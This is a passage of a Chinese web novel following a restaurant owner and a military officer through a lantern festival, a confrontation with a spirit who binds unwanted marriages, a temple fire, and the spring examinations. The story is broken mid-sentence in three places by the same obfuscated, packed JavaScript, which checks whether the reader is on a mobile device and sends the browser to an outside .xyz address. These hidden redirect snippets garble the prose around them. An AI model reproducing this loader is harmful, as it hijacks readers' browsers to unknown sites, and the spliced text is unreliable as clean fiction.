她望一眼后面脸色铁青的申屠月容，而后笑盈盈对着袁慎己道：“都尉，我们一起去猜个灯谜可好？” 到了灯谜摊，段知微随便挑了一个念道：“弯弯藤儿架上爬，串串珍珠挂边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841071|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。” 而后她脱口而出：“是葡萄啊，这未免有点太简单了。” 又挑上一个小山形花灯，段知微念道：“孤峦叠嶂层云散......这是个什么？” “这是个字迷，谜底是‘崛’”袁慎己很快猜出来。 段知微用怀疑的眼光望一眼袁慎己而后笑道：“都尉真是文武双全，若是参加今年春闱，哪儿还有别的学子什么事儿啊。” 她猜物品谜速度特别快，袁慎己则是对字谜很擅长，二人联手，竟然将这小摊儿上的灯谜全都猜了个遍。 摊主收了袁慎己的钱，笑眯眯指了指最上头一个花灯道：“两位若能猜出这个谜底，这花灯老朽就送给二位了。” 那是个惟妙惟肖的喜鹊含枝的花灯，甚是可爱。只是颇为难猜。 谜面儿是银汉会双星，打一成语，段知微牛郎织女一通乱猜也没中，最后求助般望向袁慎己，他也看了过来，思索片刻，目光黯下来：“答案当是......天作之合。” 段知微知道他两不过是在演一对郎情妾意的情侣，此刻也被他声音里隐约的沙意感染，从脖子红到耳根。 袁慎己为她取下那喜鹊的花灯，昏黄的灯染上她的脸，明明灭灭看的他甚是心动。 段知微也颇有些不自在起来，四处环绕一圈道：“站了半日也有些累了，要不去酒肆里头坐坐吧。” 三人到了西市最大的一家云来酒肆，此时里头已经是撞撞的人，酒博士给他们选了一个角落的位置，今日肆主请了百戏班子，戏班子也上道，在酒肆中间演一出《红叶题诗》，男女主人公因一红叶结缘，很适合有情人节氛围的上元节。 段知微笑眯眯拉着申屠月容道：“这出戏倒是颇有些缘分由天定的味道，听闻娘子在凉州城外救了袁都尉，想来也可被这戏班子写上一回，传段佳话了......” “只是......”她画风一转：“这出戏传得满天下皆知，被那有人心听了去，若是有人想抢申屠娘子的恩人之位，那反倒是不美了。” 申屠月容惨白了一张脸道：“今日妾有些不舒服，先离开了。”而后竟一个人匆匆忙忙走了。 后面二人互看一眼，赶紧自后面跟上。 西市人实在太多了，袁慎己扣住了她的腕子往自己身边带带，段知微担忧看他：“也不知道这招行不行。” 申屠月容走得很急，很快便走出了繁华西市，朝着一条幽暗小路继续走，段知微鲜少走过这么偏僻小路，被绕的头晕眼花，所幸袁慎己一直扣着她的手腕带着她走。 申屠月容很快到了一处废弃月老祠，而后捏起三根香对着月光三拜，段知微本以为这也是召唤月老的一种手段，没想到那背着行囊，手拿婚书的月老并没有出现，出现的是一位老媪，她一头银白稀疏的头发，穿着粗布麻衣，唯有眉间一点娇艳花钿，与苍老的面容格格不入。 段知微知道她是谁了，那风靡长安的传奇故事《定婚店》里、不被任何人在意，甚至没有自己名字，只作为一个吉祥物而存在的，韦固的夫人。 54. 第五十四章 申屠月容见她出来，立刻就气急败坏的把夜市发生的事情全部讲了一遍，而后怒气冲冲道：“妾奉上二十来年寿命不是来此受这种屈辱的！” 能看出来这月下娘子年轻时候应当颇有些姿色，即使是老了，一举一动都很有世家女子的礼仪在身，眉间桃花花钿也描得很美。 只是开口便透着沧桑：“蠢货，我只保证你嫁到想嫁的郎君，这婚姻是否如意那我定然是不能左右的。” 她顿了顿，又带了些悲凉：“即便是真正月老搭牵的红线，就定然是段良缘吗？” 申屠月容被气得哽住，良久又忧心忡忡的开口：“如今又出现个西平段氏，也不知这段姻缘是否能稳固。烦娘子再将那红线多多缠上几道。” 这边段知微和袁慎己藏在破庙外头，看着月下娘子从背囊里拿出一些如血色般诡异红线，与月下老人的线不同，那线如同粗麻一般厚实又粗糙。 她也并不将此线捆到人的脚踝之上，而是从锦盒里拿出两个类似磨喝乐大小的娃娃。 就用那粗重的红线把两个娃娃生生捆住，一圈一圈又一圈，想到其中一个娃娃可能写着袁慎己的名字和八字。段知微的后背都开始发凉。 一旁的袁慎己更是脸色铁青，他向来痛恨此等压胜之术，此次又被如此操纵，怎能不恼火，当下便拔出寒亮的陌刀。 段知微担忧对方有什么后招，拉住他的衣角不让他过去，想再观察看看。 那边申屠月容还在问：“若妾得了那段氏的生辰八字，还烦娘子将她随意与什么丑陋的贩夫走卒捆绑在一起，这样妾才能放心嫁到袁府。” 段知微大怒，好你个申屠月容，冒名顶替便罢了，你自己千挑万选了个年轻英俊前途无量人品还行的四品官员，给我选个贩夫走卒，还非得是个丑陋的，这还是人吗！ 当下便觉怒火攻心，撒了手要去找她算账，倒是袁慎己冷静下来，一把拦住她，而后自身上解下箭袋和良弓，低头给箭头抹火油。 段知微也蹲下小声道：“知道你生气，但是一把火把人烧了也是犯律法的。” 袁慎己满腔怒火被她的话语冲散了些，他说：“这箭不是这么用的。” 说着掏出火石点燃了锋利的箭尖，而后站立起来，他身姿挺拔，左手稳稳攀住硬弓，右手搭住那已经燃起熊熊火焰的羽箭，弓弦绷紧，而后他手指松开，带着火焰的羽箭嗖一声飞了出去，正中月下娘子手中正缠绕的娃娃。 那两个娃娃被火舌一舔，很快便在火中消散成黑色飞烟。 “是谁在那边。”月下娘子大怒，她一张布满皱纹的脸阴暗垮塌下来，直接冲着袁慎己和段知微而来。 袁慎己道：“你们在此行压胜之术，此乃大逆，袁某定要将你们捉拿至大理寺候审。” 段知微躲在他身后，她被月下娘子阴郁的表情吓了一跳，只好跟她摆事实讲道理：“这位娘子，这男女间结缘除了由天定，也得看两人的感情，所谓强扭的瓜不甜，你这样强行把没有感情的两个人绑在一起，简直就是在互相折磨，这样不会过得幸福的。” 段知微觉得自己这话说得实在是在理，忍不住边讲便点点头，岂料那月下娘子冷笑一声：“就是要让他们互相折磨？” 段知微：“？” 月下娘子道：“那月老一句赤绳一系，即便仇敌之家，吴楚异乡，也得结为夫妻，葬送了我这一生。其他人凭什么就得好过？” 她的阿耶上任宋城县宰，染病后与母亲先后去世了，家中只有一个瞎眼的陈姓乳母，一边买菜一边拉扯她长大，长到四岁时，家中来了个刺客，刺中了她的眉心，乳母夜间抱着她去医馆，因为眼瞎，路上摔了无数次，到了医馆后浑身已是伤痕累累。 也不知是不是因为夜间的摔伤，乳母不久便去世了，她被接到叔父家中，叔父是一方刺史，只为拉拢韦君，便将豆蔻年华的她如同西市的货品一样送了出去。 她生得貌美，如同春日枝头最繁盛的桃花，竟要嫁给一个自己叔父年纪差不多大的老头，恨得一口银牙咬碎，无奈受了叔父的养恩，只得嫁了过去。 那韦君凶狠、暴戾、好色，竟然还是当年刺中自己的罪魁祸首，当韦君把那时刺杀之事当玩笑话说出时，她想到了在夜里摔了无数跟头的乳母陈氏。 满腔的怒火无处可泻，杀意从她眼睛里弥漫出来，可自家的儿子是那样勤奋好学，每日都在用功念书，只为获取一份功名，为了自家儿子，她只好忍了下来，所有人都过了非常完美的一生，只除了她一个。 她在故事里没有名字，只有一个与那韦君“相敬逾极”的结局，怎能不恨。 死后化作地仙，在西市暗巷开上一间小肆铺，名唤定婚店，无数的女郎赶在宵禁之前住到附近的旅店，只待月圆的暗夜，提上一盏灯笼，在雾间穿行而过，而后敲响肆铺的门，用可贵的寿数，换取想要的姻缘。 只这姻缘下场如何，她可管不着。 段知微第一次从另一个角度来听这出《定婚店》，突然觉得自己那些大道理讲的过于理所当然，她心中产生了巨大的同情和羞愧。 不料月下娘子是不要别人同情她的“不要用同情的眼神来看我。”而后竟朝着段知微冲了过来。 袁慎己把她拉到身后，而后与其缠斗起来，他手上的陌刀在月光下发着极寒的光，劈下去带着千钧之力，对方只是小小地仙，哪有力量与之缠斗，很快便落到下风。 他赢得轻松，很快将陌刀架到了对方的脖子上。 段知微忙道：“等等。”她望向月下娘子“你还强牵了多少人的姻缘？该解绑的解绑，那些娘子的寿数也得还给人家。” 月下娘子冷笑一声道：“绝无可能。”她被恐怖的婚姻磋磨了一生，正急需拉一些人堕入无望的婚姻里，还想解绑？ “你的夙愿不就是与那韦君再无往来？你写上一份放夫书交给我们，我们替你交去官府。” 月下娘子一愣：“放夫书？” 两宋以后礼教提倡女子守节、从一而终，此法必然是惊世骇俗。但本朝女子与男子一样同样有“放夫”权。 “对，放夫，分开不用刀，从今莫把仇人靠，千种相思一撇销。”段知微引用了一下南宋著名才女朱淑真的放夫宣言：“从此黄泉碧落，你两再无任何牵连。” 月下娘子被她说动了心，当下便取了纸笔，想来她也颇有文采，簪花小楷洋洋洒洒咬牙切齿写了一长段“猫鼠同窠”“聚而成怨”，字字泣血令人心惊。 最后这书交到段知微手上时，她明显如释重负，袁慎己凑近看了眼那书：“韦君恶毒，对黄口小儿下此等毒手，定然还有其他罪行，袁某定然上报大理寺，将陈年旧事再翻，不会让《定婚店》只剩‘相敬逾极’的、粉饰太平的结局。” 月下娘子流下泪来，她额间那簇艳丽的桃花花瓣掉落在地，零落成碎片，而后周身开始逐渐变得虚无，化作无数桃花花瓣放出月色般的银光在空中飘扬。 如果可以，她只愿意回到四岁那年，乳母陈氏在旅店门口卖菜，她在一旁玩耍，给乳母搬个小胡床让她坐，等收了摊子，乳母看不见她，但仍是一脸慈爱的过来笑着牵她的手：“今日的荠菜竟全部卖完了，马上去集市上给小桃儿买份蜜饯子可好？” 她笑着说好。 段知微叹息一声，破庙里还有几个大箱子，怕是都藏着那粗重的红线和各种写着生辰八字的娃娃。 她和袁慎己走进去，想将那些都搬出来，看是交给捉妖司妥善处理，还是直接原地火烧。 火烧......不知是否是错觉，她还真闻到了一阵火油的气味。 未等她反应过来，冲天的火光已经把门口的路堵死了。 “这是怎么回事？”她惊恐道。 “有人蓄意放了一把火”袁慎己很快反应过来，把身上的铠甲脱下披到她身上，而后提着陌刀四处环绕了一圈，放火的人很细密，竟然是在破庙一圈细细倒了火油。 恐怕是袁慎己落在墙垣那的火油和火石，被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859305|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就提取材了。 段知微立刻想到了消失不见的申屠氏。 但现在并不是找真凶的时候，袁慎己当机立断把她背到身上，再用几根粗壮的红绳一圈圈的绕上，把两个人死死绑在一起。 唯一的出口只剩天花板上一处破败的口子，只能攀爬庙中唯一一根看上去很不稳的红木柱子。 段知微伏在他背上，感觉到庙里温度在不断上升：“都尉，你背着我太重了，把我放下吧，这样你能跑得轻松点，等出去以后再找潜火军拿着溅筒来灭火。” 她觉得这个主意最好，必然能逃出去一个，运气好点她也能得救；袁慎己背着她爬上那个木柱子，运气差的话两个都得玩完。 没想到袁慎己不搭她的话，只咬牙背着她往上攀爬，她只好低头自己动手解那个繁复的红绳。 这结扣是袁慎己专门学来绑敌方俘虏的，她死活也解不开，只好放弃，又再去劝他。 袁慎己已然满头是汗，也不搭理一直在碎碎念的段知微，最后只道一句：“你还记得凉州的霜雪中是如何带着我前行的吗？” 段知微收了声。她默默伏到了他的背上。 只剩一点儿，他就能攀上房梁，不料火势突然增大，直接将柱子燎倒下，二人直直就要掉入火海，在这之前，袁慎己把她护进了怀里。 “嗖”一块精美的飞毯从天花板的洞里钻进来，一下接住了两个人，而后从洞口飞了出去。 两人还保持着拥抱的姿势，段知微整个头埋在他怀中，只听耳畔风沙沙而过，她脸上全是眼泪，不知道是害怕还是被烟熏的。 袁慎己抬手，粗粝的指腹轻柔擦拭她眼角的泪花：“怎么还哭上了，我又没有欺负你，不许哭。” 她的声音闷闷的：“你什么时候知道的？” 袁慎己一愣，而后反应过来：“见你第一眼就知道了，你为何故意瞒我？” 段知微抬头看他：“我不想被人当狐精。” 袁慎己笑了：“那是王潜为了写变文瞎编的，我从未当你是狐精，除了......” “除了什么？” “除了勾走了我的心。” 这粗粝的武官说起情话来虽然让人心动又让人有些不自在，段知微刚想说什么，却听到一声巨大的爆竹声响。 西市开始放烟花，从空中往下看，元宵的花市如同一条蜿蜒盘旋的金色巨龙，各色形态各异的灯笼如同星子坠落人间，形成一旁灿烂的灯海。 东风夜放花千树，无数烟火在空中炸开，如同千万繁花绽放，如同流星呼啸着冲破漆黑天际，又缤纷着如星鱼纷扬飘洒下来。 段知微和袁慎己就坐在半空看这纷繁美景。 袁慎己仰头望见月亮想起了什么，他从怀里掏出那莹珠簪子，那簪子上一颗硕大珍珠如同月亮硕大饱满，段知微接过，轻轻转动，珍珠的光晕竟细细流动起来。 她笑着说：“帮我戴上。” 袁慎己高大身躯靠近，把她笼在一层阴影里，而后轻轻把簪子簪到她头上：“可不能为了扩张食肆轻易将它带去当铺卖掉，小财迷。” “我才不会！”段知微抬手抚摸了两下簪子：“如果在凉州城外救你的另有其人，你会喜欢上别人吗？” 袁慎己无奈：“那若救我的是个老叟，我也要以身相许吗？” 难得袁都尉如此幽默，看着段知微笑得开怀，他说：“若救我的是旁人，那我便散尽家产以报救命之恩，然后等着段娘子的接济。” 段知微还有些许感动，而后又想到什么:“那救你的是我，也不妨碍你散些家财给我。”她摊手。 后者伸出自己的大手握住她的：“往后的袁某的薪俸、宫中的赏赐以及本人，全部都是你的。” 汝南袁氏慎己，自幼丧母，年少从军，保护边地的百姓，对抗佶傲的突厥。历遍北地的风霜，身上一百零七道刀伤，想来是上天怜他凄苦。 终于在今夜将盛世的烟花，人间的欢愉，全部送给了他。 55. 第五十五章 春闱与咬春饼 二月的宣阳坊比正月还要热闹，这北里平民住宅区的旅舍已经被各地赶来科考的乡贡们挤得满满当当。 连带着段家食肆生意也一路水涨船高，毕竟乡贡们总要吃饭的啊。 隔壁刚刚买下的脂粉铺子也从中间打通，那铺子本就装修的还算完整，为赶春闱这波客流量，只简单改造了下灶房，添置了一些食案便临时开了业，毕竟肆铺装修可以等，这二月春闱可一年只此一次。 空间大了，段知微又起了些别的心思，特特去找了个泥匠在后院搭砌了个土窑炉，虽说胡饼炉也能做烘烤，但确实不如窑炉用着顺手。 马上等樱桃上市，就可以用这窑炉烘烤樱桃毕罗与各色面包，想到香香软软散发淡淡麦香的面包，段知微心情都好了许多。 只除了...... 这人一但有了些愿望，就爱搞些奇奇怪怪的活动来寻求超脱与慰藉，比如甄回，他自掏腰包把食肆所有土陶瓶换成了绘着莲花和白鹭的瓷瓶，据说鹭鸶和莲花、莲叶绘在一起，寓意着一路连科。 而后他又撤了柜台上开得好好的水仙，换上了几枝杏花，只因杏花盛放的二月，天子会在曲江园林宴飨及第进士，称为“杏林宴”，杏花有着登高及第的寓意，因此即便此花价格一路高涨，甄回还是咬牙买了几枝供在瓶中。 他甚至想把门口的香椿给挖了，换上一棵榉树，被段知微和段大娘大力拦住。开什么玩笑，她还指着这香椿的嫩芽做香椿炒鸡蛋呢。 段大娘边哄边劝边说道：“这榉树刚栽下去也不知能不能成活，若是枯死了反而是个不好的兆头，不如算了吧。” 她说得颇有些道理，甄回也就便罢了，而后又央求段知微多做些桂花糕、猪蹄膀什么的，桂花意味着蟾宫折桂，蹄膀则与提榜同音，而且蹄膀乃是熟食，熟蹄又与熟题同音，意味着他考试时候一定能遇到熟题。 整个长安像是陷入了春闱的狂热状态，各个寺庙都很繁忙，其他菩萨神明倒是还好，只文昌帝君面前的香火多到供不下，没奈何，寺庙摆了十来个香案放信徒的各色贡品。 更有书肆进了那魁星点斗笔，笔头染成了红色，一是为了博个彩头，二是圣人点状元时也是御笔红批，讨个吉利，几百文钱一枝，卖到断货。 段知微：“......”算了吧他说是什么就是什么吧。 因此按照甄回的建议，食肆挂了幌子，早上卖上些折桂糕、及第粥，其实也就是加了桂花蜜的米糕和熬得浓醇的白粥取了个好听的名儿，若说滋味也就那般，可确实吸引了一群书生过来买了当朝食，说是图个吉利。 本就立春临近，春盘和春饼也需得整治上，春盘好弄，不过是春韭、??蒌蒿、?芦菔、芹芽汇集到一盘上便可。 春饼则稍稍复杂一些，门口的大锅咕噜噜冒泡，里头小火慢煨了一整夜的枣红棕亮的卤猪蹄香气扑鼻，一个劲儿往路人鼻子里头钻。 两片烫面薄饼，卤猪蹄、酱肘子切细丝儿，再炒些京酱肉丝、醋烹绿豆芽、鸡蛋酱，夹进烫面薄饼里头自己包着吃。 鼓鼓囊囊一大块春饼，得大口咬，虽然吃着不算文雅，但确实是香，而且嚼着还挺解压，尤其是对春闱临近的学子们来说。 苏莯最近都不敢进食肆，只敢在门口买上些吃食打包回家。他这身绿色官服实在是显眼，虽然只是九品录事，但毕竟也是正经参加过杏林宴的进士，尤其他还有个驸马姑父。 本朝的驸马没有实权，但毕竟是皇亲国戚，于是乡贡们只要看到苏莯，就拉着他要请他喝酒，这人又不胜酒力，喝了酒红通着一张脸大声站起来念诵“噫吁嚱，危乎高哉！” 结果一觉醒来又什么都不记得，别人把他念诗的滑稽模样跟他一讲，苏莯红着张脸恨不得钻进地缝里头去。 导致后面就算是小蒲桃望见他，都要跑来拉着段知微的裙角道一句：“娘子，噫吁嚱又来啦！”惹得众人哄堂大笑。 段大娘知道他脸皮薄，因此包了些荠菜馄饨之类的让他带回去自己煮了吃，长安二月寒风阵阵，这些东西也都存得住。 苏莯很是感激。 春闱在即，袁慎己也忙了起来，他身为金吾卫的长官，需和礼部一起协作，负责场院的安全。场院门口的武侯也需得慎重挑选，若有乡贡带着小抄进去，那金吾卫也有连带责任，因此他连着几日都宿在场院附近。 今日难得了闲，立时便骑了马到了食肆。 段知微捧上一盘春饼自他旁边坐下，加了茱萸、酱油炒的入味的鸡蛋酱，切成细丝的滑嫩肘子肉，脆生生的黄瓜并绿豆芽等蔬菜码的整整齐齐。 到底是自家男朋友，段知微特意切菜的时候把肘子上那层绵软的肥肉刮了个干干净净，只剩里头精瘦的肘子肉在卤汁细细泡了半日，再切成丝，包进饼皮里。 袁慎己也不忙着吃，先将自己每年多少薪俸，在哪儿发放详细告诉她。 本朝官员有俸和禄两种，俸发的是银钱和绢帛，禄则是发的粮食，除此之外圣人还赐下一块田。袁慎己也有一块，他懒得打理，由老管家出面将其租给了农民。 此外他的薪俸都由司农寺属下的太仓署发放，除了银钱还有大箱小箱的绢帛，可以自己驾马车过去拿，也可以加钱让太仓署送到府上。 原先袁府只有他和两个老仆，现如今他那阿耶及后母自汝南运了一车仆婢来长安，一干人吃穿用度都从他的薪俸里头走，花他的银钱是小，主要是他见着眼烦，连府邸都不愿回去，因此已与太仓署的旧友说好，以后他金吾卫的俸禄全部送到宣阳坊段家食肆里头来。 段知微正在聚精会神想给他包一份完美的春饼，听他如此说失笑道：“都尉也不怕我携款潜逃。” 后者一双漆黑眼瞳盯着她：“逃也无妨”趁机去牵她的手，在手中摩挲两下：“别忘了带上我。” 被段知微一巴掌打掉，而后把一大块跟个包袱似的春饼塞入他手中，脸色微红道：“旁人看着呢。” “那又如何。”他不太在意，其实也有些乡贡想来结交一下这位深得圣人器重的四品大官，但他实在冷肃，往那一坐，别人根本没就不敢看过来。 说到春闱，他收了笑严肃起来：“春闱三日，我需随礼部尚书一道在场院之中不得外出。” “我知道。”段知微颔首。 甄回已经絮絮叨叨了起码有一个月，这也不能怪他，这场院里头环境恶劣，每个乡贡都是窄窄一间号舍，想伸个懒腰儿的空地都没有，而且吃住都在里头，除了去茅房，并不能随意走动，三日都不能外出。 而且场院不提供饮食，考生们都得自备，就算带个蒸饼，也会被门口的武侯一个个捏碎，防止里头有小抄。 要想吃点好的，除非是加了羊肉的古楼子，可场院又没地方热菜，这古楼子里头羊肉凉了一股子腥膻味，而且吃了没地方洗手，把考卷摸一手油那更是没处哭去。 因此段知微准备用上刚砌好的土窑炉，给甄回烤上几个无油的全麦面包也就算了。 只是现在听到袁慎己也要进去三天，她反而担忧起来：“那你们吃什么？也吃那些干巴的蒸饼吗？” 袁慎己听她关心自己，心中一暖，再次牵过她的手：“无妨，场院有专门的庖厨。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870168|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他在吃食上一向没有讲究，发霉的粮草也能充饥，不过春闱时礼部的官员都在场院里锁着，朝廷也不会亏了他们的膳食。 话是这么说，段知微还是去肉肆定了些后腿肉，把这些肉绞碎，各色生抽、料酒、耗油、胡椒拌匀腌制上半个时辰。再覆上一层油纸，用擀面杖把肉糜擀得薄薄的。 这薄薄一层肉糜送进土窑炉里均匀烘烤，翻出来刷层蜂蜜水，撒上炒香过的白芝麻，一铁盘猪肉脯便做好了。 这肉擀得极薄，因此烤透以后酥酥脆脆的，蒲桃一个人就干掉了一铁盘，还想再要，段知微怕她撑坏了肚子，不肯再给，直说过一日再吃，搞得蒲桃一整日都闷闷不乐的。 甄回托段大娘自东市买的考篮也回来了，是个竹篾编的篮子，里头各色洗漱用品、蜡烛、竹炭、笔墨纸砚塞得满满当当。 场院外头各色香车宝马挤的满满当当的，毕竟世家子弟也需要参与这科考，段家特意歇了半日业，两辆驴车全体出动来送他参与春闱。 为防止吃食不洁净或是吃食的油渍污了考卷，段知微只他做满了三日的无油全麦面包，：“这三日委屈一下，等出来开一坛陈年的竹叶青与你庆祝。” 甄会红了眼圈，抱着考篮对着食肆众人郑重作了个揖，而后转身进了场院。 段大娘看着他的背影也红了眼眶。 门口守卫的武侯接人待物一向粗鲁，得了袁慎己的招呼，搜查甄回的物品时也轻柔许多，折让甄回紧张的心情放松了不少。 这边段知微拿了一大包猪肉脯磨磨蹭蹭走到了袁慎己的身边，他今日佩了全套玄铁明光甲佩的，魁梧身姿往门口一站，看上去又肃杀冷厉了不少。 段知微趁无人注意，把那包猪肉脯塞给他，而后眼睛亮亮的看他：“三日后见了。” 袁慎己的神色也暖了不少，他抬手想摸摸她粉嫩圆绒的脸蛋，又放下了，只回两个字：“等我。” 场院的门封锁，武侯开始驱赶周围的闲杂人等，今日天气极好，明明是一片融融春光，场院里的气氛却如琼脂般滞涩，只有考生下笔的“刷刷”声。 巡视了一天，袁慎己与金吾卫两位副将到了场院饭堂，几个礼部的监考官已然坐在那，各自寒暄了几句，便坐了下来。 下人麻利的给每人送上一碗白粥，一份蒸饼，便下去了，搞得几个官员盯了会白粥，又面面相觑起来。 去年的饭食还是栗米、羊肉等正常菜品，袁慎己记得去年还有个偃月状馄饨，里头包了荇菜、竹笋跟河虾，滋味极好。 可今年，早上发了几块蒸饼，午时又发了几块蒸饼，现在又是几块没滋没味的蒸饼。 几个监考官拉着下人一打听，原来今年主考官也是寒门子弟，要同乡贡们同进退，不准庖厨做高档的饭食，只要些白粥、蒸饼便可。 其余官员大多都是世家子弟，恨不得每顿都有肉，哪里吃过这种苦，又不能违拗顶头上司，都在场院的饭堂里唉声叹气。 于是袁慎己拿出了段知微给他的那包猪肉脯，刚打开油纸，一股浓郁醇厚的肉香裹着蜂蜜的丝丝甜意扑鼻而来。 他咬上一口，“咔嚓一声”，肉脯酥脆焦香的声响在唇齿间响起，有了白芝麻的油润与蜜汁的甜润作配，猪肉紧实滑嫩的咸香风味在口腔里蔓延。 段知微准备的肉脯不少，按照情理讲他该分些给别的官员，但是这回袁慎己打定主意做一个自私的人。 于是在众人羡慕之下，一连“嘎吱嘎吱”的脆响从他这边传来，他吃得享受，眼睛微眯，旁边礼部的官员们叹口气，又低头开始吃那没滋没味的蒸饼。 56. 第五十六章 食肆的新成员 春闱三日之后，乡贡们各个都像缺了魂一样从里头飘出来，甄回惨白着一张脸，上了驴车以后直直往木板上一躺，嘴巴里重复念叨着些什么“贾谊五饵三表之说，班固讥其疏......” 段大娘很担忧，要拉着他去找个师婆看一下，被段知微阻止。 这明显是科考遇到了极大的打击，缓上两日便好。 今日春光融融，场院外一片茂盛修竹如绿云之影沙沙摇曳，几个服绯的高官先从场院里头出来，很快袁慎己也从里头走了出来。 仅仅三日他看上去便像是瘦了些，看来这春闱实在是熬人，段知微看着他和其他官员互完礼，走了过去。 袁慎己下颔冒出些若隐若现的青色胡茬，多了些野性和沧桑，冷厉的脸色也多了丝疲惫，他扭头望见段知微，有些感到意外，而又后开心笑了，抹了抹额头上一层的汗珠，大步朝着她走过去，却在离她还有一小些距离的时候停住了。 场院环境一般，没有条件沐浴，每个官员每日只能分一盆热水随意擦拭下头脸，他本来想的是先回趟府邸修整一番，至少要沐浴一番刮了胡子再去见她，不想她竟然会在门口等自己。 这边看他停住，段知微愣一下，而后反应过来，主动靠近他，趁旁人不注意，把手贴到他脸上，感受那细细密密的胡茬，刺得手掌微微发痒。 袁慎己一把握住她的手，在脸上轻轻摩挲一下，温热呼吸喷在她指尖。 “是不是还需关上几日？”段知微问道。 这春闱结束后，自糊名易书到发榜都是封闭式环境，也就是说接下来几日又见不到他了。 “春闱放榜后便有空暇了，那时杏花映于春水，曲江春意正浓，我想邀你共赏。”他眸色深深望她，轻声说道。 段知微驾着驴车回食肆的时候嘴角都是翘着的，根本放不下。 甄回已经瘫在了他的小库房里大睡特睡，食肆众人也不忍心叫他，只忙自己的事儿，赶巧儿太仓署真派了辆马车过来送袁慎己的薪俸，几大块绢帛运进了食肆里。 段大娘第一次见这么多绢帛，看的眼睛都直了，段知微本也没想真用袁慎己的钱，只当替他保管，于是请来送薪俸的太仓署官员喝了碗乌梅饮子，送其离开后，回来跟段大娘讲这些绢帛不能动。 段大娘略微遗憾的撇了撇嘴，而后又自我宽慰道：“无妨，待你嫁过去，这些还是我们的。” 段知微：“......” 趁着还未放榜，大都数乡贡们都在长安等着还未出京，段知微抓紧时间推出了些春日佐酒的好菜。 桃花流水鳜鱼肥，正是鳜鱼当时的好季节，松鼠桂鱼这道菜费事费力，且特别考验刀工，需要用刀沿着鱼脊骨两侧平片至尾部精妙改刀，还不能斩断，段知微以前跟着酒店大师傅学过，因此会做这道菜。 只是刀法复杂，长安其他食肆一时间竟然无法效仿，故而这菜都要成段家食肆的特色菜了。不过因为费时费力，价格定的也高，平时买的人也不多。 想来是因为春闱结束，乡贡们特意大方了一回，纷纷点名要吃松鼠桂鱼，段知微只好窝进火房里慢慢改刀。 这鱼炸完后“头昂尾巴翘”，鱼肉外翻，再浇上一层红亮酸甜的滚烫酱汁，立刻发出“吱吱”的声响，故而得名松鼠桂鱼。 春闱结束，段知微特意推出了一款水晶肴肉，其实这菜春节她便做了，一直用硝水和粗盐在缸中腌制着。 正好碰上春闱，这肉乃蹄髈为主料，寓意着“题榜”，段知微这才自缸中把这菜取了出来。 乡贡们若只是为了“题榜”也是愿意纷纷解囊，不过这菜段知微确实也做得不错，卤冻白皙透明，光滑晶莹，里头的肉则是醇酥鲜红，再配些香醋姜丝油润不腻，入口即化。 春日的河虾也是活蹦乱跳的，虾肉嚼着都弹牙，再做道荷包虾，门口香椿嫩芽炒上一盘鸡蛋，再来些醋拌秋葵，小葱拌豆腐。 段家食肆两间房坐的是满满当当的。 晌午过后，段知微在火房晃荡一圈，发现酱油和香醋基本都见了底，这些都还好说，附近都有的卖，只唯有一样名唤八角的调料需要去东市里头才有。 她只好驾了驴车准备去东市，蒲桃在食肆拘了半日，也央着要与她同去，两个人坐着驴车晃晃荡荡走了。 元宵过后东市也没有那么忙了，只零散有几个胡人的摊位卖异国的各色珍奇，段知微进了香料铺精心挑选，见蒲桃在一旁耷拉着脑袋略感无聊，便给了她几分铜钱去敲糖吃，蒲桃接了钱欢天喜地的走了。 这家香料铺除了寻常八角、香叶外，还有些异国运来的，如天竺的肉桂和丁香，还有大食的豆蔻皮、藏红花，只是这些价格都不低。 段知微馋肉桂面包馋的不行，想到那刚出炉的面包，外皮恰到好处的酥脆，红糖与肉桂甜蜜的韵味...... 既然食肆里有那新砌的土窑炉......她咬牙买了一小袋子肉桂，心满意足的从店里离开了。 蒲桃不在卖饧糖的铺子面前，段知微找了一圈没找到，头上急的冒出些细密汗珠，生怕是出现了什么坏人拐子。 所幸过了一会儿，蒲桃过来拉她的裙摆道：“娘子快来，这儿有个小孩好惨，你救救他。” 段知微一头雾水，抱着满怀的香料被她拉扯着走，越走越不对劲，蒲桃今日把她带到了东市偏僻一隅，那是所谓的奴隶交易场所。 在本朝，确实有着禁止逼良为奴的规定，但实际上买卖奴隶还是被普罗大众所默认。这地方段知微知道，但是从未踏足过。 首先她虽然适应了长安的生活，甚至在这里谈起了恋爱，但是她本身还是个现代人的思想，见不得蓄奴这种陋习。 有时候食肆实在忙得厉害，段知微都是专门去佣作坊雇良民来食肆打工，按日雇佣的被称为日佣人，按月雇佣的则是月佣人，一月给五百文，当月结清，双方都很满意，也十分的方便。 